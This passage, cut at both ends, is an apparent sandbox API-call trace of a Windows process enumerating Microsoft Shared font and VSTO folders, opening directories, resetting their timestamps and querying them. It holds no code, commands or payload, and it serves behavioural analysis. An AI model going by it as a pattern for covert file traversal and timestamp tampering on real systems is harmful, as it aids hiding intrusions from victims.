cAlternateFileName="")) returned 0 [0064.360] GetLastError () returned 0x12 [0064.360] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0064.360] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x4f2ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIGFONT.SHX", cAlternateFileName="")) returned 1 [0064.360] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81c076e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xa261d, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHINESET.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x81eb4fa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x6a9e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTFONT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8207e020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdc6b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="GBCBIG.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2656900, ftCreationTime.dwHighDateTime=0x1c2706c, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2656900, ftLastWriteTime.dwHighDateTime=0x1c2706c, nFileSizeHigh=0x0, nFileSizeLow=0x2b01, dwReserved0=0x0, dwReserved1=0x0, cFileName="IC-TXT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8f60300, ftCreationTime.dwHighDateTime=0x1c324cc, ftLastAccessTime.dwLowDateTime=0x820ca2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc8f60300, ftLastWriteTime.dwHighDateTime=0x1c324cc, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICAD.FMP", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x2fde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHGTXT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x9e413, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTGTXT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 1 [0064.361] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0xdfc98, dwReserved0=0x0, dwReserved1=0x0, cFileName="WHTMTXT.SHX", cAlternateFileName="")) returned 0 [0064.361] GetLastError () returned 0x12 [0064.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3778) returned 1 [0064.361] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0064.361] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3880) returned 1 [0064.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb3670) returned 1 [0064.362] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x8541dd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8541dd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 0 [0064.362] GetLastError () returned 0x12 [0064.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.362] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0064.362] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.362] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0064.362] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.483] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.483] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.483] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.483] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.484] NtClose (Handle=0x190) returned 0x0 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.484] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0064.484] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.484] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0064.484] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.484] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.484] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0064.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3f60 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5358 [0064.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.485] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3f80 [0064.485] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5460 [0064.485] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.485] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0064.485] GetLastError () returned 0x12 [0064.485] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0064.487] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.488] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6cdb800, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.489] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0064.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.490] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.501] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.505] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0064.506] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb6d10 [0064.509] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb6d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb6d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0064.510] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb6d10) returned 1 [0064.510] NtClose (Handle=0x190) returned 0x0 [0064.512] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.513] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.514] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.515] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0064.543] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.546] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0064.546] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0064.547] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.551] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.551] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.553] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.553] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.555] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5568 [0064.556] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.557] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3fa0 [0064.561] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb5670 [0064.563] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.564] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0064.565] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.566] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.567] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.570] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.573] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.574] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0064.575] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.576] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.578] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.579] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.579] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.580] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.582] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, 